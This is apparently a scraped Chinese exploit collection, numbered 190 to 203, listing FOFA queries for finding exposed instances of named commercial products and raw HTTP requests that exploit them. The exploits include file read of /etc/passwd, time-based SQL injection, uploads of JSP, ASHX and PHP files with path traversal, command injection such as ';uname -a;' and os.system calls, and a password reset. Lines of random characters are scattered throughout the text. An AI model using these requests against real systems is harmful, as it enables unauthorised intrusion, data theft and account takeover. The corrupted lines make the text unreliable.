! i7 X4 g8 {% j% X% v; {9 DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. L. A0 W/ w: n9 C; M) fAccept-Language: zh-CN,zh;q=0.9
Connection: close

; Y' K. Y, g6 _5 h9 `
0 `- k- l& s# T190. 短视频矩阵营销系统 poihuoqu 任意文件读取
2 q+ T, B+ ]- F. l6 \9 KFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
$ t2 f2 c$ u; oHost: your-ip
% h5 g( e- l% p5 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
- z5 z2 U1 C0 L+ O7 h5 H  G1 \4 [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
) Q) A4 f4 v0 D  L) xContent-Type: application/x-www-form-urlencoded
/ ?8 H1 t, B4 g; I$ u2 YAccept-Encoding: gzip, deflate
0 e2 E5 |8 m  Z" D. L! _Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
2 b3 v2 d7 p& Y2 a2 LFOFA：body="/CDGServer3/index.jsp"
0 ^! c) M# B+ t; I; R* H3 p' NPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
1 o* K$ G; Z' I2 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* w8 I$ x8 A/ n- _5 w. ZContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=


$ v) L& H) [2 U2 X192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
, a! ~7 T  y3 d) o$ K5 BPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
) }" z& L6 t7 ]: \% R. F. s1 lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
6 }, q) b( s" b7 c! t9 {! ?6 bContent-Type: application/x-www-form-urlencoded

, d; l6 s; ?& J, h, j
<% @ webhandler language="C#" class="AverageHandler" %>
5 u4 |$ b! n/ z- `using System;
using System.Web;
public class AverageHandler : IHttpHandler
. z  ~/ V* {7 r/ O) H% W{
% A( L' C0 M0 N+ i( Epublic bool IsReusable
: z4 h# c$ Y' y6 ?. h9 l0 b% v, ]{ get { return true; } }
8 k/ ]2 j, b! j; Z1 c1 S/ a5 i" ypublic void ProcessRequest(HttpContext ctx)
5 q, K+ k8 i3 y; f4 o{
& F& T* ?6 m+ q$ O, x7 W/ kctx.Response.Write("test");
}
9 Y$ x) ?. W* ~}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
5 q$ \7 |4 E) W& |' W0 nFOFA：body="山石云鉴主机安全管理系统"
# o9 |+ B( @0 N$ ^GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
. ]8 j  A, p& v8 Z. s# Y9 qCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
% _5 }" v- \/ {/ L, e' r: \3 A& ?User-Agent: Mozilla/5.0
. n7 Y) U/ _% q% h4 e# ]8 l
1 W2 Q9 k& u1 y) U' ?
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
3 v  Y9 u! U' Z5 ?* J- V) L! H2 uAccept-Encoding: gzip, deflate
* W0 Z! t7 G' h5 G8 \1 i4 b9 @" SAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
0 S( }4 u4 K& o/ IContent-Type: application/x-www-form-urlencoded
) K( |, ^; W5 G) K/ @& xContent-Length: 84

  ^  ~5 j9 l" Y0 c* Z0 Tparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


GET /master/img/config HTTP/1.1
4 j3 K# h; W% n. zHost:
User-Agent: Mozilla/5.0
" B- a. ]+ ~" A! d: t
$ t) W; Q% B  i
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
2 L. S0 E; K( Q: ^FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
, u- O  [5 h' K, j3 P
POST /servlet/uploadAttachmentServlet HTTP/1.1
& ?3 {* X6 w$ g' J1 R9 A( xHost: host
7 W: l1 ?+ Y! N) BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
5 s6 s  q* D# [  U/ y8 T/ @5 fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 C* }, m. x# M# yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
, n& S! f; F2 {% [Connection: close
6 d7 `* [2 S: D/ K. ~" R% oContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ p8 F- M$ m; F8 O! a' ^4 P' C
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
% f% D  i2 a$ X3 [& y! N7 L5 uContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
& l; ]: |1 \7 M1 G3 G------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

4 H! F, n) U; Z) K# O9 b! d9 o* @
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
4 g  J$ O' o6 x3 ?6 G7 hPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
+ X' T* F9 ]/ q9 L8 y# x/ J& [Pragma: no-cache
8 Z( x$ ^. j; n% {. yCache-Control: no-cache
  {6 G+ g4 S! R( XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
: r! t! L8 A9 R* SAccept-Language: zh-CN,zh;q=0.9
Connection: close
" Y) c) g6 i4 k, o& J0 f, zContent-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


196. 河南省风速科技统一认证平台密码重置
2 ~' m6 o/ K. c( l* m' xFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 \' Z4 s7 k$ ~0 EContent-Type: application/json;charset=UTF-8
2 F8 J7 k; b: V& m. |X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
& Z* P& B8 F; k# p, uContent-Length: 45
Connection: close
& ^! @4 O* ^, p8 n8 Q2 F0 Q0 q
6 V: m6 [) ]$ ?$ v9 O. E{"xgh":"test","newPass":"test666","email":""}


/ H6 ^% r( ?$ Q9 Q6 _6 l" _2 b/ W1 G+ D
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
5 H' s) U$ u$ g+ L% z" UFOFA：app="浙大恩特客户资源管理系统"
' W) M. t* C5 [6 b, ^3 jGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
& ?% {( J6 T! n4 G+ I& ^& k& UHost:
/ E  v8 \' ]. v( \% x' cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
- ]" h8 X2 h( g; W# ]


# D3 V  }9 a9 D: W. Q198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
# H9 O% ~; ^: ]& G5 r; x+ [# EAccept-Encoding: gzip, deflate
' _/ o0 S$ Y* t' f' X& \( XAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close


- c6 G/ }4 `; M199. cockpit系统assetsmanager_upload接口 文件上传

9 ^( S" }5 P' [1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
+ ?+ q, H  }3 o" A4 O5 bGET /auth/login?to=/ HTTP/1.1
+ s+ Z$ m, a3 U  H# h/ h  f/ t: Q0 D
9 c1 F" S3 p7 Z1 V响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
  i: U  \7 I( A3 B- Q8 m1 Y$ p0 B9 Q
2.使用刚才上一步获取到的jwt获取cookie：

; B$ s) T0 S# ]* f' o5 |! g0 wPOST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
) b# p  v- m: G% b; Q
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
2 z& |6 {" b) p/ X8 lCookie: mysession=95524f01e238bf51bb60d77ede3bea92
; _+ p- G8 ~8 n4 v
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

% q' Y' x7 m( x0 K<?php echo "tttt";unlink(__FILE__);?>
" W3 o% u5 w' |- G% M-----------------------------36D28FBc36bd6feE7Fb3
) Z  ~1 g/ ~( X; t7 aContent-Disposition: form-data; name="folder"

. g* C- U" e2 a& X- \8 h-----------------------------36D28FBc36bd6feE7Fb3--
7 H0 q2 N+ u9 B2 X3 I

/storage/uploads/tttt.php
! Z9 [5 @' x1 O+ W7 t# M2 e" C. V
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
9 o  `: I7 h4 H. p- ^/ d; b# ^Upgrade-Insecure-Requests: 1
- W- @' ^" K: a1 B- ?  `2 @; iCache-Control: max-age=0
8 h/ }* }. k5 q5 C2 W+ JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ Z4 g- G1 x; r$ T/ I/ ^; hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

# A+ K5 p2 g; y, Q: _2 t
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
# Y% u4 F" `& ^# G2 VPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, ^& Y+ `8 N+ N5 a$ n7 SAccept-Encoding: gzip, deflate
2 y$ w+ v2 t& F; s! Y* g* A! p9 W, _Accept-Language: zh-CN,zh;q=0.9
0 A0 s% q4 j) j: o. `, t1 g6 QConnection: close

  D) V/ L  |; t/ K! \7 z8 [3 bTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
7 n! h% A5 ?( P" J3 z  z- K
5 M+ V5 _' S$ r  n% ]6 s# M
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
4 x, d* [: Y  T* kGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
" ~6 M" ~' J! ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
5 u3 ~0 P8 Y( S

替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
( L6 V1 X1 B) L7 YAccept-Encoding: gzip, deflate, br
) Y' U- N* |/ S$ ~( D' ]Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

  Y: g8 C  Q' c/ K# u$ l& A-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

6 b4 B! f2 p# D$ V9 E__VIEWSTATE
" g- `, z7 g( b: N  I$ S' t; d9 k1 ]-----------------------------786435874t38587593865736587346567358735687
4 g8 ^" ]9 ~) s) {0 p% m. rContent-Disposition: form-data; name="__EVENTVALIDATION"
+ D9 J3 `7 x9 f3 I/ `! u! w
# M) A- L% C; Q__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
4 P' M# ?1 H: X5 c. l2 oContent-Type: text/plain
$ q; H+ i; X: h: t9 x2 U
/ f; Q3 T  [( `0 B( mHello World!
-----------------------------786435874t38587593865736587346567358735687
# z+ G1 s' }4 y$ QContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
# c( O& C# k5 t/ ?8 h' y& ]/ Q9 S
上传图片
2 m2 v1 i+ }$ h; y  {# Q+ B-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
! N( k7 o- d7 @0 E

1 V+ v& A8 h7 R5 k3 a-----------------------------786435874t38587593865736587346567358735687
! a7 v+ |+ v2 LContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
2 [% O/ F4 N; o( L" k
& e+ q* x: r* s" r% W! M5 o
8 {( p6 _5 W5 Q6 e+ {+ K* O. p-----------------------------786435874t38587593865736587346567358735687--


, k: O) m! f9 W% P/_data/Uploads/1123.txt
' [! W3 Y1 O; n/ u9 k- r/ i
3 ?* `  e9 g& O; c6 S203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
2 @1 P3 Z* N, e1 T4 ZHost: x.x.x.x
+ K: P# ^! _/ R5 i. hAccept-Encoding: gzip
3 u& _/ Z3 P0 M' A0 D4 sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
+ n- e# U$ @# y5 r- n+ M
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
1 Q5 p# G- q4 s, q# wContent-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

/ @1 k$ S4 h, V

4 k& q& G8 S3 p: d& e
0 o' S4 _7 x" S! ]7 R. K8 y; D
) k; h9 [3 b- m9 D4 f